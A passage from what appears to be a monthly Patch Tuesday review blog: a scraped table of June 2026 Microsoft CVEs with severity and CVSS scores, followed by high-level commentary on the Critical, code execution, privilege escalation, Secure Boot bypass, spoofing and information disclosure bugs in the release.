Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory 